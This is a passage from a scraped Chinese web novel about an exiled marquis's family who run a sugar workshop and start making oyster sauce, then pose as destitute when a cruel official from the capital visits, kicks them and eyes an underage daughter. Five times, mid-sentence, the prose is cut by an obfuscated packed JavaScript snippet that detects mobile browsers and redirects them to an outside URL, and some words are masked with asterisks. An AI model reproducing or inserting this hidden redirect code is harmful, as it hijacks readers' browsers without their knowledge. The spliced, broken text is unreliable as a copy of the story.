“我们已经合作了糖坊了,也不差这个蚝油生意了。” 程七七说的头头是道:“只要将我们的命运和村里人的命运牢牢的把握在一起,那么,真有些什么事情的时候,我们才不会太过被动,无人伸援手。” “七七,你若是男儿身,定能大有所为。” 忠勇侯赞赏的看着程七七,没有一点小家子气,能舍得出利益,这是很多人,都办不到的。 “爹,我是女儿身,一样可以办一番大事业。” 程七七微笑着,对于忠勇侯的认同,她很是高兴,她问:“爹,那跟村里谈分成的时候,该拿几成?” “当然是我们拿大头,熬蚝油是我们熬出来的,他们不会,收海蛎子,开壳取肉,村里拿三成就行。” 忠勇侯心中早有盘算道:“七七,这事你安心,往后只用告诉我们怎么熬蚝油就行。” “老大,老三,老四。” 忠勇侯将所有人都聚了起来,不管男丁还是女眷,他板起脸,不怒自威,属于忠勇侯的威严发散了出来。 刚刚还窃窃私语,一脸兴奋的靳家人,瞬间就正襟危坐,乖乖的就像是小学生一样。 程七七此时,再次反应了过来,自家公爹是忠勇侯。 哪怕如今流放了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262359|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威严在这个家,也是一样存在,依旧是靳家的主心骨。 “熬蚝油是怎么做的,谁要是敢泄露半个字,那就滚出靳家。” 忠勇侯中气十足的声音,如一记响钟,敲在每一个人的心口上。 靳家人连连表示他们绝对不会说的。 程七七看着这一幕放心了,有忠勇侯在,生意上的事情,她是不用操心了。 隔天,忠勇侯就带着蚝油去请庄里正了。 除了庄里正,还请了村里那些德高望重的族老们,庄里正心中一个咯噔道:“靳兄,难道,糖坊的事情,出了什么事?” “糖卖不出去了?” 庄里正的声音都有些发虚,为了收甘蔗,他们可是将邻村所有的甘蔗全部都买下了不说,还预订了下半年成熟的甘蔗。 收甘蔗的钱,再加上定金,几十两银子都撒出去了呢…… 这要是有事,那,他这个里正还当得下去? “不是。” 忠勇侯一看他这模样,就知道他误会了,连忙道:“重山已经在回来的路上了,绝对是好消息,今天请大家来,是另一桩事。” …… 程七七在家里负责盘算着账目,清点着蚝油的成本,她用现代的表格记法,数字记法,将账目盘的清清楚楚的。 糖坊如今的产量,还是不够,这三连灶,还得再继续打!、 熬糖的师傅,还是得多练出几个来。 程七七心中琢磨着,听着外头的动静,没多大一会,听着忠勇侯高兴的笑声,顿时就知道,这事成了。 至于过程? 程七七不在乎。 翌日,程七七去糖坊,就见着大家围了上来,听说要去收海蛎子,做蚝油的事情。 消息传得真快。 程七七心中这么想着,道:“大家伙想问什么,就去问庄里正,或者我公爹也行。” 她可不耐烦应付这些杂七杂八的事情,有这时间,还不如陪女儿好好玩玩呢! “七七,七七,重山回来了!” 柳素仪的声音在糖坊外头响起,她激动的说:“重山说,他接到了很多的订单,就怕你们糖坊的糖不够呢!” 第91章 货款,不是挣的钱 “哪呢?” “卖了多少糖?” 冷婆子‘嗖’的一下,跑的那叫一个飞快。 程七七只看到那一个深蓝色的身影从眼前扫过。 “你卖了多少糖?” 冷婆子认出重山,就是那日来糖坊拿样糖去卖的男子。 “我只告诉我家少夫人。” 重山就像是一块枕木一样,站在那里,一动不动的,没看到程七七,他是什么都不会拿出来的! “卖的还不是糖坊的糖?跟我还不能说了?” 冷婆子本来就等的心焦,这会听着重山的话,脸都黑了。 重山一动不动,冷婆子的黑脸,对于他来说,没有任何的关联。 程七七走出糖坊,就见着重山迎了上来:“少夫人,幸不辱命!” 重山从怀里拿出与各府城商铺签订的契约拿了出来道:“一共签了十家商铺,上等琥珀糖,签了五千包。” “五千!” 冷婆子原本黑着脸,在听到这个数字的时候,瞬间就表演了一个变脸,她笑的跟一朵花一样,看着重山问:“不是五千块,是五百包吧?” 冷婆子再三确认,一块糖一包糖,相差还是大的。 一包九块,一块五文多一点,一包糖却是四十八文! “五千包琥珀糖。” 重山笃定的回答着:“每家只订了一千包,他们掌柜的说,要是质量好,以后,还找我们订糖。” “中等糖是订了一万包,最普通的赤糖二万包。” 重山说起这个数量的时候,他挺直了脊背,这一路上,日夜兼程的,总算没有辜负世子的重托,和世子妃的信任! 糖卖出去了! “我看看。” 冷婆子凑上前想看,程七七一把将厚厚一沓的契约收了起来道:“冷婆婆,你赶紧告诉糖坊里的人这个好消息,让大家多做点货,我们仓库里的货,应该是不够的。” 程七七说着,道:“今天晚上,你们都到我们家门口,我们好好商量一下,这么大笔的订单,该怎么将糖做好,该怎么让这批大订单,换成以后长长久久的订单。” 冷婆子目光灼热的盯着程七七手里的契书,也没多想,立刻就去糖坊告诉这个好消息了! 糖坊里的人,不再是冷家人自己几个人,再加上流放的人了。 而是加了很多的村里人! 从最开始十来个人的小作坊,现下,糖坊都已经有四十几个人了! “乡亲们,我们仓库里的糖,全部卖光了,还不够呢,乡亲们,加油啊!” 冷婆子的嗓门大,高兴的大嗓门把门口站着的程七七吓了一跳。 她回头,看着笑的眼睛都看不见的冷婆子,不由的想起最开始到糖坊时,见到的冷婆子,那叫一个不苟言笑的。 那时,她手里拿着一把戒尺,眉宇之间的仿佛别人欠她几百两银子一样! 再看看现在的冷婆子笑成一朵花一样,程七七沉默了,果然,钱能让人开心。 “重山,你回家里吃了东西吗?这些货什么时候交?” 程七七一边查看着每一家的契书,一边询问着。 她有预感,糖一定能卖的很好,但重山,着实给了她一个大大的惊喜了! “分两批次交,少夫人,这应该能交得出来吧?” 重山出门之前,就找过程七七问产量的问题,他特意分成两批次交,就是留了一些余地。 “能。” 程七七肯定的点头道:“这批货,我们现在仓库里已经有个八成了。” “第二批货交的时候,可以多交点。” 程七七一张一张的契书认认真真的看着,很快,她就觉得不对劲了,洪都、湖州的几个府城,她都认识。 可,最后卖糖的路线没有北上往京都方向,反而是直接朝着西边的榕城去了。 如果她没记错的话,世子之前镇守的地方,就是榕城。 “少夫人,我以前跟着世子征战,榕城更熟悉一点。” 重山挠了挠脑袋,一脸憨憨的问:“糖卖到哪里都可以的吧?” “当然。” 程七七目光深深的看了重山一眼,她也不傻,之前公爹和黑土面庞严肃的聊天时,应该就是想要为世子报仇吧? 送糖去榕城,或许,还能顺带查一查证据呢。 程七七将契书全部都收好,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262360|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“这些契书,可有备份?” “有的。” 重山立刻从怀里拿了备份出来,除了手印是临摹的之外,其它的都是一样的! 就怕万一有不长眼的,将这契书弄坏了。 “今晚就拿这个出来,原件,就留给我公公。” 程七七的话音方落,一旁的重山道:“老爷说了,这个由少夫人保管。” “……” 程七七收起契书,倒也没多说。 晚上,几乎全村老少,可都凑到了靳家。 靳家挤不下,那就挤在院子里。 靳家院子角落里的草,都被踩成扁的了。 庄里正、村里德高望重的几个族老、冷家人,靳家人齐聚一堂! 重山带回来的契书,需要糖量是多少,拿回来的订金是多少,全部都摆在明面上。 “这,要是全部交货了,我们岂不是能挣……很多很多银子?” 庄里正活了大半辈子,半截都埋土里去了,没想到,临老了,终于实现了加入糖坊的愿望,而且,这才多久? 一个多月呢,就卖了这么多糖? “一千零四十两。” 冷屿算完账之后,所有人都倒吸了一口气。 一包几十文钱的东西,数量大了之后,居然也能挣这么多钱吗? “我一辈子都没见过这么多钱!” “糖坊这么挣钱吗?” “以前冷家不是说一年才挣一百两吗?” “……” 人群中,爆发出了热闹的讨论声音,那是压都压不下来,许久,忠勇侯才上前一步道:“大家安静。” “……” 几乎是瞬间,大家都不约而同的闭上了嘴巴,看着忠勇侯的眼神,那叫一个火热。 “一千零四十两,还要扣除我们买甘蔗的钱,路上运输的钱,还有大家活来干活,不能白干不拿工钱吧?” “这么七零八碎的算下来,顶天了挣五百两。” 忠勇侯怕大家以为卖一千两的货,就能挣个一千两的银钱了,他解释道:“我们核算了成本,上面都记录的清清楚楚的,大家可以看看。” 第92章 跟我去舂米 忠勇侯说着,将他们核算下来的成本递了出来,除了甘蔗、人工之外,最花钱的就是运输了,这么多的糖,必须请押镖的,这一来一回的就得花不少钱。 “而且,这批货的数量很大,分成两批交货,一次也就挣了二百五十两!” 忠勇侯补充了一句。 “二百五十两也很多,这批货,我们两个月就能干完。” 人群中不知道谁回了一句。 大家都赞同的头。 程七七开口道:“两个月干完之后呢?地里的甘蔗,隔壁村里的甘蔗,全部都用光了,我们没有甘蔗可以榨糖了。” “所以,这五百多两,看着多,几乎是我们这半年挣的钱了。” 程七七的话,慢慢的让大家发热的头脑,平静了下来。 是啊,地里的甘蔗都快砍完了,再想要甘蔗,就要等到秋天收获的时候了。 这么一算,这些银子,几乎是半年的钱了,也就……没那么多了。 “我们上半年,把这两批货交完了,春天多种点甘蔗,争取下半年,明年春天的时候,多榨一点糖不就行了?” 庄里正眼眸微闪道:“我们之前找隔壁村民们签的甘蔗还不够多,附近还有几个地方都种了甘蔗,到时候,我们全部都买过来!” 既然确定了糖坊能挣大钱,那么,他们还等什么? 不早点把甘蔗订下,等到人家都看着他们挣钱了,不卖甘蔗给他们? 这肯定是不行的! 就算是半年五百两银子,他们村里也能分到不少银子呢。 “对,买,全买下来。” 村民们激动的恨不得大晚上的就去隔壁村。 先前,大家还有些不太同意呢,就怕甘蔗全收了,卖不出去怎么办? 现在,大家恨不得满山都种上甘蔗。 赵黑已经开始琢磨着,是不是该让那些流放的犯人去开荒种甘蔗? 种的甘蔗能卖钱,甘蔗送到糖坊,挣钱了又能分钱。 趁着大家高兴,庄里正又宣布了一个好消息。 蚝油。 村里人不知道什么叫蚝油,只知道那海边没人要的海蛎子,可以变成蚝油,能卖钱! 于是乎,大家又开始积极询问了。 庄里正已经和忠勇侯达成协议了,庄里正负责收海蛎子,负责开壳取海蛎子,然后,挣到的钱,由靳家人分三分给他们。 庄里正讲清楚明白之后,刚刚还挤在一块的村里人,哗啦一下就跑了! 大家谁也不说话,跑得那叫一个飞快的。 海蛎子能卖钱? 那还等什么? 靳家面前瞬间空了一大半,还剩下没走的人,都在抓着庄里正和靳家人询问着,海蛎子怎么熬蚝油挣钱的! “你们只要知道,带了海蛎子过来,我们村里全部都要收,而且,等卖蚝油挣了钱之后,我们也能分钱,就够了!” 庄里正没有讲的很详细,而是将和忠勇侯签好的契书拿了出来:“靳家带着我们大家会挣钱呢,大家伙心里有数就行。” 庄里正很清楚,熬蚝油这可是人家的祖传秘方,虽然不知道为什么他们京都人知道,他们常年住在海边的村民们不知道。 但,庄里正吃过蚝油之后,就明白,这蚝油肯定能挣钱的! 靳家愿意拿出三成利出来,那肯定是想让村里人护着。 于是,靳家人看到了更加友善的村里人了。 送一些他们家里晒的咸鱼、干虾、紫菜、海带、墨鱼干…… 靳家人看着这么多干海货时,都沉默了。 …… 自此,靳家人在村里的待遇明显的提高了。 程七七在糖坊里,更是被大家一口一个‘程娘子’喊着。 糖坊这边,又增添了新人员,等这一批货赶完,秋天之前,再加几口锅灶,争取下半年,多熬点糖出来! 冷婆子盯着,程七七每天去糖坊转一圈就行,她的重心,开始转移到了蚝油! 熬蚝油可不是一件简单的事情,一熬,就得七八个时辰。 开壳取肉、看火熬蚝油,那都需要专门的人来学习的。 靳三爷在糖坊里。 靳礼之和靳砚之卖酸菜,卖的风生水起的! 忠勇侯和赵黑一起,每日上工打猎。 熬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262361|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚝油的重担,便落在了靳四爷的身上,靳四爷平日里话少,存在感不多,但干起活来,沉稳细心。 程七七教了两回之后,靳四爷就已经熬的像模像样了! 乍暖还寒间,糖坊的第一批货已经由重山押送,沿路送货去了! 除了糖,重山还带了几十斤的蚝油。 这些日子大家齐心协力的,海边的海蛎子都快捞光了,也熬出几十斤的蚝油! “希望,这些蚝油也能挣钱。” 程七七看着蒙蒙亮光中,重山离去的背影,她的心中充满了期盼。 “肯定可以。” 柳素仪安慰着,道:“蚝油炒白菜,做什么菜放一点点,都特别的鲜。” “这一批蚝油要是卖的好,明年,除了甘蔗,我们还可以做蚝油了。” 柳素仪的声音都透着些许的激动,道:“七七,你是不知道,我以前想过,就算我们到了流放地,可能也不适应岭南的气候,说不定身体受不了,说不定,有干不完的活……” “可现在,日子完全出乎我的意料之外。” 柳素仪现在每天就是绣花,做饭,根本没有干过苦力活。 没有侯府的养尊处优,但,比她想象中的日子好太多了。 “娘,只要一家人在一起,平平安安,哪里都能过上好日子。” 程七七话音落下,靳岁安脆生生的声音响起:“娘,你说带我去捡贝壳的!” “来了!” 程七七应声,和柳素仪道别后,就见着院子里,提着忠勇侯特意给她做的小木桶,戴着黑土送她的笠帽,小姑娘可爱的不得了! “我们出发啦!” 程七七牵起小姑娘的手,带着她就去安厝村捡贝壳了,虽然不是大退潮,但,带孩子捡贝壳,还是很容易的! 怕小姑娘晒伤,程七七还偷偷给安安抹了防晒,开开心心的玩了一天,还没回到家,就看到柳素仪急匆匆的走了过来:“七七,快,快把衣裳换上,跟我去舂米!” “啊?” 程七七愣了一下,手上不停的,拿起柳素仪手里的打补丁的衣裳穿了起来,此时,程七七才知道,有人在打听他们在流放地的情况。 第93章 一脚踹过去 “娘,难道我们都到了流地了,别人还不放过我们?” 程七七飞快的换上了打补丁的衣裳,甚至还在板车上,往脸上抹了一把灰,让她的脸看起来没那么健康。 “谁说不是呢,幸好村里人发现不对劲,立刻就过来通风报信了。” 柳素仪看着玩的跟泥猴子一样靳岁安,身上的衣服看着也脏兮兮的,白嫩的小脸,也跟小花猫一样,扎好的小辫子,也散作乱糟糟的。 “七七,还好我们跟村里人关系好,不然,现在就麻烦了!” 柳素仪看着程七七往脸上抹灰,也给自己的脸上抹上灰了,道:“走,我们去舂米。” “安安,等会到了地方,你也要干活,知道吗?” 程七七蹲下身子,叮嘱着靳岁安,千万要小心之类的! 舂米的地方,已经有几个靳家女眷了! 除了本身就在糖坊干活的温氏、怀孕的高胜兰之外,其余的女眷,可都在舂米磨面呢。 原本在家绣花的孟静瑶、李氏、林惠兰,都在舂米磨面,看起来灰扑扑的。 就连靳老夫人,也坐在一旁的角落里,在缝缝补补的。 所有人的心里都是忐忑的,这京都来的人,肯定不会是来帮他们的,而是来落井下石的! “大人,靳家人在村子里每天都干最重的活。” 赵黑见着京都来人,一身锦缎,腰间坠着玉佩,说话都是一口京腔,一口一个‘京都’…… 这是生怕别人不知道他是从京都来的? “他们是**,干这些,不是应该的?” 胡大力享受着赵黑的谄媚和讨好,道:“靳家人在哪?” “男丁在砍樟树,女眷则是舂米,磨面,还有糖坊做工。” 赵黑解释着,领着胡大力到了山脚下道:“大人,靳家人在山上砍树,山上路不好走,大人您身份尊贵,不适合你走。” “那还不快搭上棚子,找些吃食来?” 胡大力身边的男子一脸嫌弃的说着:“我们大人千里迢迢从京都赶来,你就这样招待的?” “是,是我们招待不周。” 赵黑点头哈腰的,立刻就去他平日里歇脚的屋子里,道:“还不快去拿点心,还有上好的茶水招待着。” “哥,这点心,你不是要买回家给嫂子……”赵亮看着那包装的极好的点心,犹豫的说着。 这可是糖坊马上要挣钱了,赵黑特意买回来的。 “赶紧的。” 赵黑一把拿过,喝了一口水,盯着坐在属于他椅子上的胡大力,蹙起了眉头,京都来的,听说,他哥哥还在当朝首辅大人手下做事…… “大人,这是我特意买的点心,尝尝。” 赵黑躬着腰,将他从县里买回来的糕点递上前。 “就这?” 胡大力的眼睛里都透着些许的嫌弃,尝了一口之后,直接丢到了地上:“比起京都的来说,差的太远了。” “是是是,自然是跟京都不能比。” 赵黑盯着丢在地上的点心,心都疼了! 他都舍不得吃的好东西,居然就这么被丢在地上了。 胡大力完全没理解赵黑的心疼,他吩咐道:“去,把靳家人叫来。” “是。” 赵黑回头看了一眼小凳子上摆着的点心,就这么被赏给他身边的护卫吃了! 赵黑气呼呼的,到了山上,看到忠勇侯等人时,他的眼眸微闪,这京都的大人,山高皇帝远的,要是捞不到油水…… “靳义,京都来的人,你们也看到了,等会就要好好吃吃苦头。” 赵黑提醒着。 “赵大人放心,我们肯定不让大人为难。” 忠勇侯没有因为糖坊给村里人赚钱,就没把赵黑放在眼里。 和胡大力相比,忠勇侯就显得懂事多了! 呵,不过是他哥哥在首辅的手底下做事,又不是他当首辅了? 赵黑心中默默的比较着:连曾经的忠勇侯,都不如他的架子大呢! “行了,扛着樟木下山吧。” 赵黑说着,拿着鞭子,就慢悠悠的跟在忠勇侯他们的身后。 好久没有砍树的靳砚之已经吭哧吭哧的咬着牙,脸都憋红了! “大人,这就是靳家人了,领头的,是靳义,以前,听说是忠勇侯。” 赵黑快步走到胡大力的身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262362|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边介绍着:“那脸憋的通红的是他唯一的儿子,靳砚之。” “我看看?” 胡大力一听,立刻走了上前,看到扛的满头大汗的忠勇侯时,胡大力的眼睛都亮了:“啧啧啧,这不是京都大名鼎鼎的忠勇侯吗?” “你这一身,比乞丐还不如呢。” 胡大力盯着忠勇侯身上打着补丁的衣服,这会虽然是春天,但乍暖还寒的时候。 夹袄还是要穿的,可忠勇侯他们呢? 这会穿着一身单薄的衣裳,处处都打着补丁呢。 忠勇侯扫了他一眼,陌生的面孔,不认得。 他冷着脸,一言不发的,扛着比山还重的樟木,咬牙坚持着。 “我跟你说话呢,居然敢不应?” 胡大力看忠勇侯扫都不扫他的样子,一脚踹了过去! 忠勇侯一时不查,被踢到膝盖弯的他,整个人踉跄着往前摔了过去。 原本四个人抬的樟木,因为少了忠勇侯,瞬间就倾轧了过去。 沉重的樟木,这要是摔到地上,压到腿,怕是腿都要废了。 忠勇侯一个翻滚,同时,抓着靳砚之的脚,用力往旁边一甩! “啊……” 靳砚之吓的不知道怎么办,被亲爹甩到地上,滚了好几圈,他惊魂未定的抬起头。 “罪民没听见大人的话,自然是不知道该怎么回。” 忠勇侯垂着眼睛。 “见着本大人,你居然不跪?” 胡大力听着他的话,瞬间就上前一步,目光冰冷的看着忠勇侯。 “大人。” 忠勇侯的拳头紧紧的攥着,额头青筋直跳,似乎极为**,他低着头,似是不甘的跪了下来道:“大人,罪民的脚麻了。” “这才对吗。” 胡大力非常开心的看着这一幕,以前踩高跷爬梯子都碰不到的人,现在,跪在他的面前。 “你们……” 胡大力一抬头,剩下的靳家人,全部都跪在了他的面前,胡大力的笑容更加满意了,突然,他的视线落在了靳砚之的身上。 “哟,这不是京都四少之一的靳砚之吗?” 第94章 忍忍忍,我都快** 胡大力一眼就认出了靳砚之,这京都四少,可不是什么好名字,京都四大纨绔子弟,靳砚之那可是当之无愧的第一! 曾经胡大力远远的见过一眼,一身富贵,皮肤白的跟娘们一样,此时,这脸黑的,他差点没认出来! “哼。” 靳砚之冷哼一声,别过脸,胡大力他虽然不认得,但,肯定不是什么好东西! “嗯?” 胡大力看着靳砚之这模样,抬脚就朝着靳砚之踹了过去。 “你……” 靳砚之被被踹到胸口,直接摔倒在地,他气的刚要反抗,被亲爹忠勇侯死死的按住,道:“砚之,我们是罪民!” “……” 靳砚之捂着胸口,看着忠勇侯高大的身体,感觉到他的手被抓的紧紧的,亲爹的眼神,让他瞬间就明白了。 必须让京都来的人看到他们的可怜,看到他们的苦! “爹,我们流放路上已经够苦了,到了这里,每天砍树干苦活累活,我什么也没做错,他为什么踢我!” 靳砚之诉着苦,一把扯开衣裳,露出肩膀上的鞭伤,眼眶红的就像是受到了天大的委屈一样。 “忍一忍就过去了。” 忠勇侯看到靳砚之的反应,暗自松了一口气,安慰着。 “爹,你一直叫我忍忍忍,我都快**。” 靳砚之委屈的说着。 胡大力看着这一幕,唇角勾起一抹嘲讽的笑容:“靳二少,不,靳砚之,你可想清楚了,你现在不是忠勇侯府的二少爷,就是一个犯人!” 胡大力道:“赵……黑对吧?他们犯人怎么有资格在这里歇着呢?赶紧赶去干活啊!” “是。” 赵黑拿起鞭子就飞扬了起来,最终落在忠勇侯父子的后背上,疼的靳砚之哇哇大叫。 “赶紧的,起来干活!” 赵黑现在完全确认了,这位胡大人,那就是靳家的仇人,来落井下石,来看靳家笑话的。 刚刚胡大力踢人的动作,可真狠呐! 于是,刚刚差点被樟木压成肉饼的靳家人,又被赶去干活了。 胡大力吃吃喝喝的,道:“这酸菜鱼味道做的不错,明天再继续做。” 胡大力撑的肚子滚圆的,喝了酒,吃了酸菜鱼和肉,中午就躺着睡觉了,同时,还不忘记叮嘱着:“好好盯着靳家人。” 虎子应声,立刻就去盯着靳家人,让他们好好干活了。 下午,胡大力酒足饭饱的,睡了一觉醒来,看到忠勇侯和靳砚之一行人累成狗一样,浑身臭汗的,心里别提多舒爽了! “女眷呢?” 胡大力一开口,忠勇侯等人的目光悄悄的落在了胡大力的身上。 “带我去看看。” 胡大力没等赵黑开口,直接就让人领着他去看女眷了。 舂米磨面的地方,粉尘特别的大,靳家女眷一个个灰扑扑的,没有了半点贵气,和旁边的妇人,也差不了多少。 “程七七在哪?” 胡大力一开口,靳家女眷的心都凉了半截。 柳素仪目光担心的看着程七七。 “在这呢。” 负责舂米的阿香嫂走了过来,领着程七七到了胡大力的面前。 “哎呦。” 程七七没走几步,就摔到脱好的谷壳上了,一身的谷壳,灰尘扑扑而起,胡大力连连往后退:“没长眼睛啊!” 胡大力打了一个喷嚏,一脸嫌弃的看着扑在地上的程七七。 “娘。” 靳岁安跑了过来,小胳膊小腿努力的想要扶起程七七。 “没事,娘没事。” 程七七起身,拍了拍身上的灰,连连道歉道:“大人,对不起,刚刚我是拌到棍子了,没注意。” “大人找我是有什么事情吗?难道,我们被**了?” 程七七满脸希冀的看着胡大力! 此时的程七七,一身补丁的衣裳,身上全部稻壳灰,麦色的脸庞,大概是因为流的汗多了,又用手擦了,显得脏兮兮的! 这,这真的是大人说要见的人吗? “靳家犯的可是重罪,**什么**?” 胡大力一脸嫌弃的看着程七七,除了那双眼睛看着不错,剩下的,还不如旁边村里的小媳妇好看呢! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262363|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至少,人家发育的那叫一个傲人! “你,现在不是寡妇吗?靳家人没放你走?” 胡大力盯着程七七问。 “……” 程七七一脸无奈的说:“大人你这话说的,我现在是犯人,怎么可能走得了?大人,你能帮我吗?” 程七七特别真诚的看着胡大力,那火热的眼神,恨不得将胡大力戳一个洞。 胡大力连连后退:“滚远点。” 话落,胡大力就没有心思再看了,他回去复命的时候,一定要跟哥好好说说,这个乡下来的世子妃,跟村妇一样一样的! 胡大力又去糖坊转了一圈,身后跟着的虎子,便提了一箱子的赤糖走。 庄里正看着那一箱子的赤糖,庆幸他们之前将好糖全部都藏了起来,否则,这会更是要心疼的滴血。 “这,就是靳家的房子?” 胡大力走到了靳家住的房子,蚝壳糊过的墙,看着和村里没什么区别,他立刻不满的问:“里正,这犯人,还能住上这么好的房子?” “大人,这房子可是村里最差的!” 庄里正一听这话,立刻开口解释道:“我们村里的蚝壳房子,那可讲究着呢,还有他们的稻草盖的屋顶,那是冬天漏风,春天漏雨的。” 庄里正庆幸,当初给靳家改善房子的时候,哪怕里面盖了瓦,但最上面,还是压了一层稻草,就为了让靳家人住的房子,看起来又穷又破的! “大人你看这锅,都豁口了。” “还有这桌子,你看,这腿都是垫的石头。” “大人再看看他们住的床,这旧的都要散架了。” 庄里正一面介绍,一边将靳家人说的很惨,胡大力满意了。 胡大力从靳家里出来,就坐在院子里不走了,看到靳家人,一个个都狼狈的回来,甚至碰上村里人,还要被踩一脚时。 胡大力咧嘴笑着,看来,大人是多虑了。 流放到村里的靳家人,那日子,过的肯定不好! 胡大力起身,拍了拍屁股准备离开,忽然,他看到了正在擦脸上灰的靳雪儿,一身补丁的衣服,擦掉了脸上灰的靳雪儿,像含苞待放的花骨朵一样。 第95章 卖女求荣? “这位小娘子是……” 胡大力盯着人靳雪儿的目光,那直勾勾的眼神,就像是狼盯上了肉一样。 靳雪儿吓的立刻躲到了林惠兰的身后,刚刚因为干了一点辛苦活,满肚子的抱怨,瞬间全部都化为了担心和害怕。 “大人,这是小女,还没及笄呢。” 忠勇侯上前一步,朝着林惠兰吼道:“还不赶紧回屋干活,在这里杵着做什么?” “是是是。” 林惠兰抓着靳雪儿,侧身挡住了胡大力的目光,拉着靳雪儿就回房了。 靳雪儿全程低头挡脸,走回房里的时候,还感觉如芒在背。 一进屋,靳雪儿的眼神慌乱而害怕:“娘,我,他,我……” 换作从前,她虽然是庶出的小姐,但,也是忠勇侯府唯一的小姐! 出门在外的,谁人不给几分薄面? 像胡大力这种癞**,靳雪儿能让护卫把人眼珠子剜出来! 可现在? 她们是犯人啊。 靳雪儿的心惴惴不安着。 “放心,你爹肯定会护着你。” 林惠兰干巴巴的安慰着。 “可,人家是大人,我们是犯人啊。” 靳雪儿根本没有被安慰到,反而是更慌了,她焦急担心的在屋子里来来**的走着:“万一……” 靳雪儿咬着唇,这可和那些押解的官差不一样,听说是京里来的大人,万一他真看上了,那她岂不是…… 她的背紧紧贴靠着墙,双手紧紧握住在胸前,无助的眼泪,从她的眼角滑落,刚刚胡大力那贼眉鼠眼的模样,多看一眼都是恶心。 这要是委身这样的人,她还不如**呢! …… 院子外,胡大力盯着靳雪儿的背影,一直到消失,他本来打算走的,这会一屁股在院子里坐了下来,美其名曰:“我得看看,你们流放的人,吃什么。” “……” 院子里,一片寂静。 胡大力这心思,是掩饰都不掩饰了。 晚饭,靳家人自然是准备的不出格,酸菜粥,河里临时去抓的鱼,煮的酸菜鱼。 程七七没下厨,而是让柳素仪做的。 她要是做的好吃了,胡大力盯上了怎么办? 于是,婆媳两个,十分有眼色的,将下厨的机会,给了厨艺不好的柳素仪。 菜端上来时,忠勇侯和靳砚之的表演也就开始了。 “大人,今天我们抓到鱼了,味道不错。” 忠勇侯一副平时连鱼都抓不到的模样。 靳砚之更是抱着酸菜粥,吃的那叫一个香,狼吞虎咽的样子,活脱脱像是没吃过这么好吃的! “靳砚之。” 忠勇侯一脸黑的看着靳砚之,那眼神,恨不得将他给生吞了。 “爹,我好久没吃这么浓的粥了。” 靳砚之才不管,骂也要哐哐吃! 酸菜不是嫂子做的不香。 鱼也不是嫂子做的。 靳砚之幻想着嫂子做的美食,那脸上,更是一脸满足的模样。 胡大力:“……” 就这么点菜,连米饭都没有…… 看来,靳家人过的确实不咋滴。 “里正,赶紧去**来。” 胡大力吩咐着。 “……” 庄里正咬牙,盯着胡大力半晌,也没见他有掏钱的动作,只能咬牙去买肉了。 “里正,就这么给肉?” 赵黑咬牙切齿的说:“白天他在管训场,连吃带拿的。” 冷婆子添了一句:“糖坊还拿了一箱子糖呢。” “不拿怎么办?人家京都来的大人,得罪不起。” 庄里正叹了一口气,准备了肉送到靳家,胡大力正想让靳家人去做饭,可看他们这手艺,立刻改口道:“里正,你找个会做饭的来。” 庄里正:“……” 肉做好了,米饭也蒸上了,虽然不像是京都要样的精米,但,至少比酸菜粥看起来好多了。 “你们这女眷不出来吃饭?” 胡大力看着桌上的肉,笑眯眯的询问,这是贼心不死呢! “她们头发长,见识短,出来岂不是打搅了大人的兴致?” 忠勇侯沉着脸,似压抑着心中的怒火。 